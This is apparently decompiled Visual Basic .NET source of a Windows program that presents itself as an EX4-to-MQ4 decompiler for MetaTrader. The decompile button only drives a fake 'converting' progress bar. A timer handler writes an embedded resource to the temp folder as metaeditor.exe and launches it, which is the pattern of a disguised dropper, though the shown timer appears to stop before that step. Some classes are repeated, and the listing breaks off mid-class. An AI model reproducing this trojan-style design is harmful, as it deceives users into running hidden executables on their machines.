Namespace WindowsApplication1
<DesignerGenerated> _
Public Class Form1
Inherits Form
' Methods
<DebuggerNonUserCode> _
Public Sub New()
Form1.__ENCAddToList(Me)
Me.InitializeComponent
End Sub
<DebuggerNonUserCode> _
Private Shared Sub __ENCAddToList(ByVal value As Object)
Dim list As List(Of WeakReference) = Form1.__ENCList
SyncLock list
If (Form1.__ENCList.Count = Form1.__ENCList.Capacity) Then
Dim index As Integer = 0
Dim num3 As Integer = (Form1.__ENCList.Count - 1)
Dim i As Integer = 0
Do While (i <= num3)
Dim reference As WeakReference = Form1.__ENCList.Item(i)
If reference.IsAlive Then
If (i <> index) Then
Form1.__ENCList.Item(index) = Form1.__ENCList.Item(i)
End If
index += 1
End If
i += 1
Loop
Form1.__ENCList.RemoveRange(index, (Form1.__ENCList.Count - index))
Form1.__ENCList.Capacity = Form1.__ENCList.Count
End If
Form1.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
End SyncLock
End Sub
Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.OpenFileDialog1.Filter = "EX4 FILE |*.ex4"
If (Me.OpenFileDialog1.ShowDialog = DialogResult.OK) Then
Me.TextBox1.Text = Me.OpenFileDialog1.FileName
End If
End Sub
Private Sub Button2_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.Timer1.Start
Me.Label1.Text = "converting."
If (Me.TextBox1.Text = Nothing) Then
Me.Timer1.Stop
Me.ProgressBar1.Value = 0
End If
End Sub
Private Sub Button3_Click(ByVal sender As Object, ByVal e As EventArgs)
Process.Start("https://w...content-available-to-author-only...5.com/en/market/mt4")
End Sub
Private Sub Button4_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.OpenFileDialog2.Filter = "Activation FILE |*.reg"
If (Me.OpenFileDialog2.ShowDialog = DialogResult.OK) Then
Me.TextBox2.Text = Me.OpenFileDialog2.FileName
End If
End Sub
<DebuggerNonUserCode> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If (disposing AndAlso (Not Me.components Is Nothing)) Then
Me.components.Dispose
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
<DebuggerStepThrough> _
Private Sub InitializeComponent()
Me.components = New Container
Dim manager As New ComponentResourceManager(GetType(Form1))
Me.Button1 = New Button
Me.CheckBox1 = New CheckBox
Me.TextBox1 = New TextBox
Me.CheckBox2 = New CheckBox
Me.CheckBox3 = New CheckBox
Me.Button2 = New Button
Me.Button3 = New Button
Me.ProgressBar1 = New ProgressBar
Me.Timer1 = New Timer(Me.components)
Me.OpenFileDialog1 = New OpenFileDialog
Me.Label1 = New Label
Me.Button4 = New Button
Me.OpenFileDialog2 = New OpenFileDialog
Me.TextBox2 = New TextBox
Me.LinkLabel1 = New LinkLabel
Me.SuspendLayout
Dim point2 As New Point(&H19, &H42)
Me.Button1.Location = point2
Me.Button1.Name = "Button1"
Dim size2 As New Size(&H4B, &H17)
Me.Button1.Size = size2
Me.Button1.TabIndex = 0
Me.Button1.Text = "Load Ex4"
Me.Button1.UseVisualStyleBackColor = True
Me.CheckBox1.AutoSize = True
point2 = New Point(&H74, &H7A)
Me.CheckBox1.Location = point2
Me.CheckBox1.Name = "CheckBox1"
size2 = New Size(&H77, &H11)
Me.CheckBox1.Size = size2
Me.CheckBox1.TabIndex = 1
Me.CheckBox1.Text = "protected or broken"
Me.CheckBox1.UseVisualStyleBackColor = True
point2 = New Point(&H74, &H45)
Me.TextBox1.Location = point2
Me.TextBox1.Name = "TextBox1"
size2 = New Size(&H12D, 20)
Me.TextBox1.Size = size2
Me.TextBox1.TabIndex = 2
Me.CheckBox2.AutoSize = True
point2 = New Point(&H74, &HA4)
Me.CheckBox2.Location = point2
Me.CheckBox2.Name = "CheckBox2"
size2 = New Size(&H77, &H11)
Me.CheckBox2.Size = size2
Me.CheckBox2.TabIndex = 3
Me.CheckBox2.Text = "build 1010 or higher"
Me.CheckBox2.UseVisualStyleBackColor = True
Me.CheckBox3.AutoSize = True
point2 = New Point(&H74, &HCB)
Me.CheckBox3.Location = point2
Me.CheckBox3.Name = "CheckBox3"
size2 = New Size(&H87, &H11)
Me.CheckBox3.Size = size2
Me.CheckBox3.TabIndex = 4
Me.CheckBox3.Text = "check for updates mq4"
Me.CheckBox3.UseVisualStyleBackColor = True
point2 = New Point(&H74, &HF8)
Me.Button2.Location = point2
Me.Button2.Name = "Button2"
size2 = New Size(&H12D, &H47)
Me.Button2.Size = size2
Me.Button2.TabIndex = 5
Me.Button2.Text = "Decompile to Mq4"
Me.Button2.UseVisualStyleBackColor = True
point2 = New Point(&H101, &H7A)
Me.Button3.Location = point2
Me.Button3.Name = "Button3"
size2 = New Size(160, &H62)
Me.Button3.Size = size2
Me.Button3.TabIndex = 6
Me.Button3.Text = "Download Market Files"
Me.Button3.UseVisualStyleBackColor = True
point2 = New Point(&H19, 12)
Me.ProgressBar1.Location = point2
Me.ProgressBar1.Name = "ProgressBar1"
size2 = New Size(&H42, &H17)
Me.ProgressBar1.Size = size2
Me.ProgressBar1.TabIndex = 7
Me.ProgressBar1.Visible = False
Me.Label1.AutoSize = True
Me.Label1.BackColor = SystemColors.ActiveCaptionText
Me.Label1.Dock = DockStyle.Bottom
point2 = New Point(0, &H14D)
Me.Label1.Location = point2
Me.Label1.Name = "Label1"
size2 = New Size(0, 13)
Me.Label1.Size = size2
Me.Label1.TabIndex = 8
point2 = New Point(&H132, 12)
Me.Button4.Location = point2
Me.Button4.Name = "Button4"
size2 = New Size(&H6F, &H17)
Me.Button4.Size = size2
Me.Button4.TabIndex = 9
Me.Button4.Text = "Load Activation file "
Me.Button4.UseVisualStyleBackColor = True
point2 = New Point(&H97, &H20)
Me.TextBox2.Location = point2
Me.TextBox2.Name = "TextBox2"
size2 = New Size(100, 20)
Me.TextBox2.Size = size2
Me.TextBox2.TabIndex = 10
Me.TextBox2.Visible = False
Me.LinkLabel1.AutoSize = True
Me.LinkLabel1.LinkColor = Color.Red
point2 = New Point(&H156, &H14D)
Me.LinkLabel1.Location = point2
Me.LinkLabel1.Name = "LinkLabel1"
size2 = New Size(&H4B, 13)
Me.LinkLabel1.Size = size2
Me.LinkLabel1.TabIndex = 11
Me.LinkLabel1.TabStop = True
Me.LinkLabel1.Text = "Un-Registered"
Dim ef2 As New SizeF(6!, 13!)
Me.AutoScaleDimensions = ef2
Me.AutoScaleMode = AutoScaleMode.Font
size2 = New Size(&H1A7, &H15A)
Me.ClientSize = size2
Me.Controls.Add(Me.LinkLabel1)
Me.Controls.Add(Me.TextBox2)
Me.Controls.Add(Me.Button4)
Me.Controls.Add(Me.Label1)
Me.Controls.Add(Me.ProgressBar1)
Me.Controls.Add(Me.Button3)
Me.Controls.Add(Me.Button2)
Me.Controls.Add(Me.CheckBox3)
Me.Controls.Add(Me.CheckBox2)
Me.Controls.Add(Me.TextBox1)
Me.Controls.Add(Me.CheckBox1)
Me.Controls.Add(Me.Button1)
Me.FormBorderStyle = FormBorderStyle.FixedSingle
Me.Icon = DirectCast(manager.GetObject("$this.Icon"), Icon)
Me.MaximizeBox = False
Me.MinimizeBox = False
Me.Name = "Form1"
Me.StartPosition = FormStartPosition.CenterScreen
Me.Text = "ex4 to mq4 decompiler 2016-17"
Me.ResumeLayout(False)
Me.PerformLayout
End Sub
Private Sub LinkLabel1_LinkClicked(ByVal sender As Object, ByVal e As LinkLabelLinkClickedEventArgs)
Me.OpenFileDialog2.Filter = "Activation FILE |*.reg"
If (Me.OpenFileDialog2.ShowDialog = DialogResult.OK) Then
Me.TextBox2.Text = Me.OpenFileDialog2.FileName
End If
End Sub
Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
Me.ProgressBar1.Increment(1)
If (Me.ProgressBar1.Value = &H34) Then
File.WriteAllBytes((MyProject.Computer.FileSystem.SpecialDirectories.Temp & "\metaeditor.exe"), Resources.metaeditor)
Process.Start((MyProject.Computer.FileSystem.SpecialDirectories.Temp & "\metaeditor.exe"))
End If
If (Me.ProgressBar1.Value = &H30)
Me.Timer1.Stop
End If
If (Me.ProgressBar1.Value = 10) Then
Me.Label1.Text = "converting.."
End If
If (Me.ProgressBar1.Value = 20) Then
Me.Label1.Text = "converting..."
End If
If (Me.ProgressBar1.Value = 30) Then
Me.Label1.Text = "converting...."
End If
If (Me.ProgressBar1.Value = 40) Then
Me.Label1.Text = "converting....."
End If
End Sub
' Properties
Friend Overridable Property Button1 As Button
<DebuggerNonUserCode> _
Get
Return Me._Button1
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As Button)
Dim handler As EventHandler = New EventHandler(AddressOf Me.Button1_Click)
If (Not Me._Button1 Is Nothing) Then
RemoveHandler Me._Button1.Click, handler
End If
Me._Button1 = WithEventsValue
If (Not Me._Button1 Is Nothing) Then
AddHandler Me._Button1.Click, handler
End If
End Set
End Property
Friend Overridable Property Button2 As Button
<DebuggerNonUserCode> _
Get
Return Me._Button2
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As Button)
Dim handler As EventHandler = New EventHandler(AddressOf Me.Button2_Click)
If (Not Me._Button2 Is Nothing) Then
RemoveHandler Me._Button2.Click, handler
End If
Me._Button2 = WithEventsValue
If (Not Me._Button2 Is Nothing) Then
AddHandler Me._Button2.Click, handler
End If
End Set
End Property
Friend Overridable Property Button3 As Button
<DebuggerNonUserCode> _
Get
Return Me._Button3
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As Button)
Dim handler As EventHandler = New EventHandler(AddressOf Me.Button3_Click)
If (Not Me._Button3 Is Nothing) Then
RemoveHandler Me._Button3.Click, handler
End If
Me._Button3 = WithEventsValue
If (Not Me._Button3 Is Nothing) Then
AddHandler Me._Button3.Click, handler
End If
End Set
End Property
Friend Overridable Property Button4 As Button
<DebuggerNonUserCode> _
Get
Return Me._Button4
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As Button)
Dim handler As EventHandler = New EventHandler(AddressOf Me.Button4_Click)
If (Not Me._Button4 Is Nothing) Then
RemoveHandler Me._Button4.Click, handler
End If
Me._Button4 = WithEventsValue
If (Not Me._Button4 Is Nothing) Then
AddHandler Me._Button4.Click, handler
End If
End Set
End Property
Friend Overridable Property CheckBox1 As CheckBox
<DebuggerNonUserCode> _
Get
Return Me._CheckBox1
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As CheckBox)
Me._CheckBox1 = WithEventsValue
End Set
End Property
Friend Overridable Property CheckBox2 As CheckBox
<DebuggerNonUserCode> _
Get
Return Me._CheckBox2
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As CheckBox)
Me._CheckBox2 = WithEventsValue
End Set
End Property
Friend Overridable Property CheckBox3 As CheckBox
<DebuggerNonUserCode> _
Get
Return Me._CheckBox3
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As CheckBox)
Me._CheckBox3 = WithEventsValue
End Set
End Property
Friend Overridable Property Label1 As Label
<DebuggerNonUserCode> _
Get
Return Me._Label1
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As Label)
Me._Label1 = WithEventsValue
End Set
End Property
Friend Overridable Property LinkLabel1 As LinkLabel
<DebuggerNonUserCode> _
Get
Return Me._LinkLabel1
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As LinkLabel)
Dim handler As LinkLabelLinkClickedEventHandler = New LinkLabelLinkClickedEventHandler(AddressOf Me.LinkLabel1_LinkClicked)
If (Not Me._LinkLabel1 Is Nothing) Then
RemoveHandler Me._LinkLabel1.LinkClicked, handler
End If
Me._LinkLabel1 = WithEventsValue
If (Not Me._LinkLabel1 Is Nothing) Then
AddHandler Me._LinkLabel1.LinkClicked, handler
End If
End Set
End Property
Friend Overridable Property OpenFileDialog1 As OpenFileDialog
<DebuggerNonUserCode> _
Get
Return Me._OpenFileDialog1
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As OpenFileDialog)
Me._OpenFileDialog1 = WithEventsValue
End Set
End Property
Friend Overridable Property OpenFileDialog2 As OpenFileDialog
<DebuggerNonUserCode> _
Get
Return Me._OpenFileDialog2
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As OpenFileDialog)
Me._OpenFileDialog2 = WithEventsValue
End Set
End Property
Friend Overridable Property ProgressBar1 As ProgressBar
<DebuggerNonUserCode> _
Get
Return Me._ProgressBar1
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As ProgressBar)
Me._ProgressBar1 = WithEventsValue
End Set
End Property
Friend Overridable Property TextBox1 As TextBox
<DebuggerNonUserCode> _
Get
Return Me._TextBox1
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As TextBox)
Me._TextBox1 = WithEventsValue
End Set
End Property
Friend Overridable Property TextBox2 As TextBox
<DebuggerNonUserCode> _
Get
Return Me._TextBox2
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As TextBox)
Me._TextBox2 = WithEventsValue
End Set
End Property
Friend Overridable Property Timer1 As Timer
<DebuggerNonUserCode> _
Get
Return Me._Timer1
End Get
<MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
Set(ByVal WithEventsValue As Timer)
Dim handler As EventHandler = New EventHandler(AddressOf Me.Timer1_Tick)
If (Not Me._Timer1 Is Nothing) Then
RemoveHandler Me._Timer1.Tick, handler
End If
Me._Timer1 = WithEventsValue
If (Not Me._Timer1 Is Nothing) Then
AddHandler Me._Timer1.Tick, handler
End If
End Set
End Property
' Fields
Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)
<AccessedThroughProperty("Button1")> _
Private _Button1 As Button
<AccessedThroughProperty("Button2")> _
Private _Button2 As Button
<AccessedThroughProperty("Button3")> _
Private _Button3 As Button
<AccessedThroughProperty("Button4")> _
Private _Button4 As Button
<AccessedThroughProperty("CheckBox1")> _
Private _CheckBox1 As CheckBox
<AccessedThroughProperty("CheckBox2")> _
Private _CheckBox2 As CheckBox
<AccessedThroughProperty("CheckBox3")> _
Private _CheckBox3 As CheckBox
<AccessedThroughProperty("Label1")> _
Private _Label1 As Label
<AccessedThroughProperty("LinkLabel1")> _
Private _LinkLabel1 As LinkLabel
<AccessedThroughProperty("OpenFileDialog1")> _
Private _OpenFileDialog1 As OpenFileDialog
<AccessedThroughProperty("OpenFileDialog2")> _
Private _OpenFileDialog2 As OpenFileDialog
<AccessedThroughProperty("ProgressBar1")> _
Private _ProgressBar1 As ProgressBar
<AccessedThroughProperty("TextBox1")> _
Private _TextBox1 As TextBox
<AccessedThroughProperty("TextBox2")> _
Private _TextBox2 As TextBox
<AccessedThroughProperty("Timer1")> _
Private _Timer1 As Timer
Private components As IContainer
End Class
End Namespace
Namespace WindowsApplication1.My
<EditorBrowsable(EditorBrowsableState.Never), GeneratedCode("MyTemplate", "10.0.0.0")> _
Friend Class MyApplication
Inherits WindowsFormsApplicationBase
' Methods
<DebuggerStepThrough()> _
Public Sub New()
MyBase.New(AuthenticationMode.Windows)
MyApplication.__ENCAddToList(Me)
Me.IsSingleInstance = False
Me.EnableVisualStyles = True
Me.SaveMySettingsOnExit = True
Me.ShutdownStyle = ShutdownMode.AfterMainFormCloses
End Sub
<DebuggerNonUserCode()> _
Private Shared Sub __ENCAddToList(ByVal value As Object)
Dim list As List(Of WeakReference) = MyApplication.__ENCList
SyncLock list
If (MyApplication.__ENCList.Count = MyApplication.__ENCList.Capacity) Then
Dim index As Integer = 0
Dim num3 As Integer = (MyApplication.__ENCList.Count - 1)
Dim i As Integer = 0
Do While (i <= num3)
Dim reference As WeakReference = MyApplication.__ENCList.Item(i)
If reference.IsAlive Then
If (i <> index) Then
MyApplication.__ENCList.Item(index) = MyApplication.__ENCList.Item(i)
End If
index += 1
End If
i += 1
Loop
MyApplication.__ENCList.RemoveRange(index, (MyApplication.__ENCList.Count - index))
MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count
End If
MyApplication.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
End SyncLock
End Sub
<MethodImpl((MethodImplOptions.NoOptimization Or MethodImplOptions.NoInlining)), STAThread(), EditorBrowsable(EditorBrowsableState.Advanced), DebuggerHidden()> _
Friend Shared Sub Main(ByVal Args As String())
Try
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering)
End Try
MyProject.Application.Run(Args)
End Sub
<DebuggerStepThrough()> _
Protected Overrides Sub OnCreateMainForm()
Me.MainForm = MyProject.Forms.Form1
End Sub
' Fields
Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)
End Class
End Namespace
<StandardModule(), GeneratedCode("MyTemplate", "10.0.0.0"), HideModuleName()> _
Friend NotInheritable Class MyProject
' Properties
<HelpKeyword("My.Application")> _
Friend Shared ReadOnly Property Application() As MyApplication
<DebuggerHidden()> _
Get
Return MyProject.m_AppObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.Computer")> _
Friend Shared ReadOnly Property Computer() As MyComputer
<DebuggerHidden()> _
Get
Return MyProject.m_ComputerObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.Forms")> _
Friend Shared ReadOnly Property Forms() As MyForms
<DebuggerHidden()> _
Get
Return MyProject.m_MyFormsObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.User")> _
Friend Shared ReadOnly Property User() As User
<DebuggerHidden()> _
Get
Return MyProject.m_UserObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.WebServices")> _
Friend Shared ReadOnly Property WebServices() As MyWebServices
<DebuggerHidden()> _
Get
Return MyProject.m_MyWebServicesObjectProvider.GetInstance
End Get
End Property
' Fields
Private Shared ReadOnly m_AppObjectProvider As ThreadSafeObjectProvider(Of MyApplication) = New ThreadSafeObjectProvider(Of MyApplication)
Private Shared ReadOnly m_ComputerObjectProvider As ThreadSafeObjectProvider(Of MyComputer) = New ThreadSafeObjectProvider(Of MyComputer)
Private Shared m_MyFormsObjectProvider As ThreadSafeObjectProvider(Of MyForms) = New ThreadSafeObjectProvider(Of MyForms)
Private Shared ReadOnly m_MyWebServicesObjectProvider As ThreadSafeObjectProvider(Of MyWebServices) = New ThreadSafeObjectProvider(Of MyWebServices)
Private Shared ReadOnly m_UserObjectProvider As ThreadSafeObjectProvider(Of User) = New ThreadSafeObjectProvider(Of User)
' Nested Types
<EditorBrowsable(EditorBrowsableState.Never), MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")> _
Friend NotInheritable Class MyForms
' Methods
<DebuggerHidden()> _
Private Shared Function Create__Instance__(Of T As {Form, New})(ByVal Instance As T) As T
Dim local As T
Dim exception As TargetInvocationException
If (If(((Instance Is Nothing) OrElse Instance.IsDisposed), 1, 0) = 0) Then
Return Instance
End If
If (Not MyForms.m_FormBeingCreated Is Nothing) Then
If MyForms.m_FormBeingCreated.ContainsKey(GetType(T)) Then
Throw New InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate", New String(0 - 1) {}))
End If
Else
MyForms.m_FormBeingCreated = New Hashtable
End If
MyForms.m_FormBeingCreated.Add(GetType(T), Nothing)
Try
Return Activator.CreateInstance(Of T)()
Catch exception1 As TargetInvocationException When ((Not exception.InnerException Is Nothing))
ProjectData.SetProjectError(exception = exception1)
Throw New InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", New String() {exception.InnerException.Message}), exception.InnerException)
ProjectData.ClearProjectError()
Finally
MyForms.m_FormBeingCreated.Remove(GetType(T))
End Try
Return local
End Function
<DebuggerHidden()> _
Private Sub Dispose__Instance__(Of T As Form)(ByRef instance As T)
instance.Dispose()
instance = CType(Nothing, T)
End Sub
<EditorBrowsable(EditorBrowsableState.Never)> _
Public Overrides Function Equals(ByVal o As Object) As Boolean
Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
End Function
<EditorBrowsable(EditorBrowsableState.Never)> _
Public Overrides Function GetHashCode() As Integer
Return MyBase.GetHashCode
End Function
<EditorBrowsable(EditorBrowsableState.Never)> _
Friend Function [GetType]() As Type
Return GetType(MyForms)
End Function
<EditorBrowsable(EditorBrowsableState.Never)> _
Public Overrides Function ToString() As String
Return MyBase.ToString
End Function
' Properties
Public Property Form1() As Form1
<DebuggerNonUserCode()> _
Get
Me.m_Form1 = MyForms.Create__Instance__(Of Form1)(Me.m_Form1)
Return Me.m_Form1
End Get
<DebuggerNonUserCode()> _
Set(ByVal Value As Form1)
If (Not Value Is Me.m_Form1) Then
If (Not Value Is Nothing) Then
Throw New ArgumentException("Property can only be set to Nothing")
End If
Me.Dispose__Instance__(Of Form1)(Me.m_Form1)
End If
End Set
End Property
' Fields
Public m_Form1 As Form1
<ThreadStatic()> _
Private Shared m_FormBeingCreated As Hashtable
End Class
<MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", ""), EditorBrowsable(EditorBrowsableState.Never)> _
Friend NotInheritable Class MyWebServices
' Methods
<DebuggerHidden()> _
Private Shared Function Create__Instance__(Of T As New)(ByVal instance As T) As T
If (instance Is Nothing) Then
Return Activator.CreateInstance(Of T)()
End If
Return instance
End Function
<DebuggerHidden()> _
Private Sub Dispose__Instance__(Of T)(ByRef instance As T)
instance = CType(Nothing, T)
End Sub
<DebuggerHidden(), EditorBrowsable(EditorBrowsableState.Never)> _
Public Overrides Function Equals(ByVal o As Object) As Boolean
Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
End Function
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()> _
Public Overrides Function GetHashCode() As Integer
Return MyBase.GetHashCode
End Function
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()> _
Friend Function [GetType]() As Type
Return GetType(MyWebServices)
End Function
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()> _
Public Overrides Function ToString() As String
Return MyBase.ToString
End Function
End Class
<EditorBrowsable(EditorBrowsableState.Never), ComVisible(False)> _
Friend NotInheritable Class ThreadSafeObjectProvider(Of T As New)
' Properties
Friend ReadOnly Property GetInstance() As T
<DebuggerHidden()> _
Get
If (ThreadSafeObjectProvider(Of T).m_ThreadStaticValue Is Nothing) Then
ThreadSafeObjectProvider(Of T).m_ThreadStaticValue = Activator.CreateInstance(Of T)()
End If
Return ThreadSafeObjectProvider(Of T).m_ThreadStaticValue
End Get
End Property
' Fields
<CompilerGenerated(), ThreadStatic()> _
Private Shared m_ThreadStaticValue As T
End Class
End Class
<EditorBrowsable(EditorBrowsableState.Advanced), CompilerGenerated(), GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")> _
Friend NotInheritable Class MySettings
Inherits ApplicationSettingsBase
' Methods
<DebuggerNonUserCode(), EditorBrowsable(EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(ByVal sender As Object, ByVal e As EventArgs)
If MyProject.Application.SaveMySettingsOnExit Then
MySettingsProperty.Settings.Save()
End If
End Sub
' Properties
Public Shared ReadOnly Property [Default]() As MySettings
Get
If Not MySettings.addedHandler Then
Dim addedHandlerLockObject As Object = MySettings.addedHandlerLockObject
ObjectFlowControl.CheckForSyncLockOnValueType(addedHandlerLockObject)
SyncLock addedHandlerLockObject
If Not MySettings.addedHandler Then
AddHandler MyProject.Application.Shutdown, New ShutdownEventHandler(AddressOf MySettings.AutoSaveSettings)
MySettings.addedHandler = True
End If
End SyncLock
End If
Return MySettings.defaultInstance
End Get
End Property
' Fields
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As Object = RuntimeHelpers.GetObjectValue(New Object)
Private Shared defaultInstance As MySettings = DirectCast(SettingsBase.Synchronized(New MySettings), MySettings)
End Class
<EditorBrowsable(EditorBrowsableState.Never), GeneratedCode("MyTemplate", "10.0.0.0")> _
Friend Class MyApplication
Inherits WindowsFormsApplicationBase
' Methods
<DebuggerStepThrough()> _
Public Sub New()
MyBase.New(AuthenticationMode.Windows)
MyApplication.__ENCAddToList(Me)
Me.IsSingleInstance = False
Me.EnableVisualStyles = True
Me.SaveMySettingsOnExit = True
Me.ShutdownStyle = ShutdownMode.AfterMainFormCloses
End Sub
<DebuggerNonUserCode()> _
Private Shared Sub __ENCAddToList(ByVal value As Object)
Dim list As List(Of WeakReference) = MyApplication.__ENCList
SyncLock list
If (MyApplication.__ENCList.Count = MyApplication.__ENCList.Capacity) Then
Dim index As Integer = 0
Dim num3 As Integer = (MyApplication.__ENCList.Count - 1)
Dim i As Integer = 0
Do While (i <= num3)
Dim reference As WeakReference = MyApplication.__ENCList.Item(i)
If reference.IsAlive Then
If (i <> index) Then
MyApplication.__ENCList.Item(index) = MyApplication.__ENCList.Item(i)
End If
index += 1
End If
i += 1
Loop
MyApplication.__ENCList.RemoveRange(index, (MyApplication.__ENCList.Count - index))
MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count
End If
MyApplication.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
End SyncLock
End Sub
<MethodImpl((MethodImplOptions.NoOptimization Or MethodImplOptions.NoInlining)), STAThread(), EditorBrowsable(EditorBrowsableState.Advanced), DebuggerHidden()> _
Friend Shared Sub Main(ByVal Args As String())
Try
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering)
End Try
MyProject.Application.Run(Args)
End Sub
<DebuggerStepThrough()> _
Protected Overrides Sub OnCreateMainForm()
Me.MainForm = MyProject.Forms.Form1
End Sub
' Fields
Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)
End Class
Namespace WindowsApplication1.My
<EditorBrowsable(EditorBrowsableState.Never), GeneratedCode("MyTemplate", "10.0.0.0")> _
Friend Class MyComputer
Inherits Computer
End Class
End Namespace
Namespace WindowsApplication1.My
<StandardModule(), GeneratedCode("MyTemplate", "10.0.0.0"), HideModuleName()> _
Friend NotInheritable Class MyProject
' Properties
<HelpKeyword("My.Application")> _
Friend Shared ReadOnly Property Application() As MyApplication
<DebuggerHidden()> _
Get
Return MyProject.m_AppObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.Computer")> _
Friend Shared ReadOnly Property Computer() As MyComputer
<DebuggerHidden()> _
Get
Return MyProject.m_ComputerObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.Forms")> _
Friend Shared ReadOnly Property Forms() As MyForms
<DebuggerHidden()> _
Get
Return MyProject.m_MyFormsObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.User")> _
Friend Shared ReadOnly Property User() As User
<DebuggerHidden()> _
Get
Return MyProject.m_UserObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.WebServices")> _
Friend Shared ReadOnly Property WebServices() As MyWebServices
<DebuggerHidden()> _
Get
Return MyProject.m_MyWebServicesObjectProvider.GetInstance
End Get
End Property
' Fields
Private Shared ReadOnly m_AppObjectProvider As ThreadSafeObjectProvider(Of MyApplication) = New ThreadSafeObjectProvider(Of MyApplication)
Private Shared ReadOnly m_ComputerObjectProvider As ThreadSafeObjectProvider(Of MyComputer) = New ThreadSafeObjectProvider(Of MyComputer)
Private Shared m_MyFormsObjectProvider As ThreadSafeObjectProvider(Of MyForms) = New ThreadSafeObjectProvider(Of MyForms)
Private Shared ReadOnly m_MyWebServicesObjectProvider As ThreadSafeObjectProvider(Of MyWebServices) = New ThreadSafeObjectProvider(Of MyWebServices)
Private Shared ReadOnly m_UserObjectProvider As ThreadSafeObjectProvider(Of User) = New ThreadSafeObjectProvider(Of User)
' Nested Types
<EditorBrowsable(EditorBrowsableState.Never), MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")> _
Friend NotInheritable Class MyForms
' Methods
<DebuggerHidden()> _
Private Shared Function Create__Instance__(Of T As {Form, New})(ByVal Instance As T) As T
Dim local As T
Dim exception As TargetInvocationException
If (If(((Instance Is Nothing) OrElse Instance.IsDisposed), 1, 0) = 0) Then
Return Instance
End If
If (Not MyForms.m_FormBeingCreated Is Nothing) Then
If MyForms.m_FormBeingCreated.ContainsKey(GetType(T)) Then
Throw New InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate", New String(0 - 1) {}))
End If
Else
MyForms.m_FormBeingCreated = New Hashtable
End If
MyForms.m_FormBeingCreated.Add(GetType(T), Nothing)
Try
Return Activator.CreateInstance(Of T)()
Catch exception1 As TargetInvocationException When ((Not exception.InnerException Is Nothing))
ProjectData.SetProjectError(exception = exception1)
Throw New InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", New String() {exception.InnerException.Message}), exception.InnerException)
ProjectData.ClearProjectError()
Finally
MyForms.m_FormBeingCreated.Remove(GetType(T))
End Try
Return local
End Function
<DebuggerHidden()> _
Private Sub Dispose__Instance__(Of T As Form)(ByRef instance As T)
instance.Dispose()
instance = CType(Nothing, T)
End Sub
<EditorBrowsable(EditorBrowsableState.Never)> _
Public Overrides Function Equals(ByVal o As Object) As Boolean
Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
End Function
<EditorBrowsable(EditorBrowsableState.Never)> _
